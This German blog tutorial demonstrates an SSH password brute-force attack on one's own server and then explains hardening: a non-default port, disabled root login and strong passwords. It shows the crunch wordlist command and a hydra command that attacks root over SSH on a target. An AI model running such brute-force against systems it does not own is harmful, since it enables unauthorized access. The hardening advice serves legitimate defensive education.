DIESES TUTORIAL WURDE AUSSCHLIEßLICH GESCHRIEBEN, UM ZU ZEIGEN, WIE WICHTIG ES IST, SSH ABZUSICHERN UND U.A. EIN SICHERES PASSWORT ZU HABEN. DIESE METHODE DARF NUR AN EIGENEN SYSTEMEN AUSPROBIERT WERDEN. DER BETREIBER DIESER SEITE (BZW AUTOR DIESER ANLEITUNG) IST NICHT VERANTWORTLICH FÜR JEGLICHE AKTIVITÄTEN DIE DIREKT ODER INDIREKT MIT DIESEM GUIDE IN VERBINDUNG GEBRACHT WERDEN / KÖNNEN. INDEM SIE WEITER LESEN, STIMMEN SIE DIESEM, ROTEN ABSATZ ZU.
Überall heißt es immer, man soll komplexe Passwörter verwenden, den SSH Port ändern, Root Login deaktivieren usw. Aber warum eigentlich? In dieser Anleitung möchte ich zeigen, warum genau dies wichtig ist.
1. Benötigte Programme installieren
apt-get update
apt-get upgrade
apt-get install build-essential wget libssh-dev
cd /usr/src
wget http://dl.bitforce.io:11520/crunch-3.6.tgz
wget http://dl.bitforce.io:11520/hydra-8.1.tar.gz
tar xfvz crunch-3.6.tgz
tar xfvz hydra-8.1.tar.gz
cd crunch-3.6
make
make install
cd ../hydra-8.1
./configure
make
make install
2. Wordlist generieren
crunch 1 5 abcdefghijklmnopqrstuvwxyz > pass.lst
Dies generiert eine Wordlist („pass.lst“) welche alle Wörter enthält, welche mit den Buchstaben von a bis z bei 1 bis 5 Zeichen länge, erstellt werden können.
crunch => Skript
1 => Mindestlänge
5 => Maximale Länge
abc…xyz => Zeichen die verwendet werden sollen
> pass.lst => Schreibt den Output (die Wörter) in die Datei „pass.lst“
Für mehr Infos: man crunch
3. Hydra starten
hydra -l root -P pass.lst ssh://[IP oder Domain des Zielservers]
Schon wird Hydra versuchen, sich per SSH beim definierten Zielserver als root anzumelden, mit den Passwörtern aus der pass.lst Datei. Das sieht dann z.B. so aus:
Ist das Passwort in der Wordlist, wird dies wie folgt angezeigt:
Hydra im Hintergrund laufen lassen
apt-get install screen
screen
[Enter]
[Hydra starten]
Zum wieder zum vordergründigen Terminal zu gelangen:
[Strg + A, D]
Um wieder zu Hydra zu wechseln:
[Strg + A, C]
Bei der Ausführung dieses Angriffs wurde ausschließlich ein eigener Server von mir angegriffen und ein extra dafür eingerichteter Nutzer.
Vor SSH Bruteforcing schützen
Da dieses HowTo aber nicht geschrieben wurde, um zu zeigen, wie man andere angreift, sondern nur um zu demonstrieren, warum es so wichtig ist, sich entsprechend abzusichern, so schützt man sich:
1. SSH Port ändern
Dies ist eine sehr einfache, aber effektive Methode, sich vor solch einem Angriff zu schützen: indem man einfach SSH auf einem anderen Port statt 22 laufen lässt. Möchte jemand SSH angreifen, muss er erst den Port herausfinden (durch einen Port Scan), was (viel) Zeit kostet.
nano /etc/ssh/sshd_config
Hier nach
Port 22
suchen und die 22 durch einen anderen Port ersetzen – welcher natürlich noch nicht genutzt wird. Um sich ausgehen zu lassen, an welche Ports sich bereits Programme gebunden haben:
netstat -plant
Hat man einen neuen Port festgelegt, speichern, nano schließen, SSH neu starten per
service ssh restart
Und die SSH Verbindung NICHT trennen. Stattdessen eine neue eröffnen und als Port natürlich den neuen angeben. Kann man sich anmelden bzw ist verbunden (daher kein „Connection refused“), weiß man, dass SSH ab sofort auf den neuen Port hört. Und zwar nur.
Möchte man sich von Linux aus zu diesem Server verbinden, kommt im Terminal dann noch der Switch -p dazu hinter dem der Port definiert wird. Beispiel:
ssh -p 12345 root@12.34.56.78
Für SCP:
scp -P 12345 root@12.34.56.78:/root/data.bin ./
Je höher und komplexer die Port Nummer, desto länger sollte ein Port Scan dauern, bis der Port gefunden wurde.
2. Root Login deaktivieren
Die wohl effektivste Methode überhaupt: Root Login deaktivieren. Denn dann kann man noch so oft mit einer noch so guten Wordlist mit noch so vielen Servern versuchen, das Root Passwort zu knacken – man kann sich nur noch als ein anderer Nutzer anmelden. Hierfür:
nano /etc/ssh/sshd_config
Und
PermitRootLogin yes
Zu
PermitRootLogin no
Ändern. Da man nun aber einen anderen Nutzer braucht:
adduser [Name für neuen Nutzer]
Braucht man unter diesem Nutzer Root Rechte, kann man diese per
su
Erlangen. Denn der Root Account wird natürlich nicht gelöscht, nur, dass man sich unter diesem direkt per SSH anmelden darf.
SSH Beispiel:
ssh bitforce@12.34.56.78
3. Sichere Passwörter verwenden
Um das Passwort des Nutzers, unter dem man angemeldet ist zu ändern:
passwd
Um als Root das Passwort anderer Nutzer zu ändern:
passwd [Nutzername]
Befolgt man diese 3. Schritte, ist SSH gut abgesichert und sollte nurnoch durch einen Exploit schnell zu knacken sein.
HI, netter Beitrag. Warum gehst du nicht noch zusätzlich darauf ein SSH nur via PublicKey Verfahren zu nutzen?
Pingback:Die ersten 10 Dinge die man mit einem Linux Server tun sollte | BitForce.IO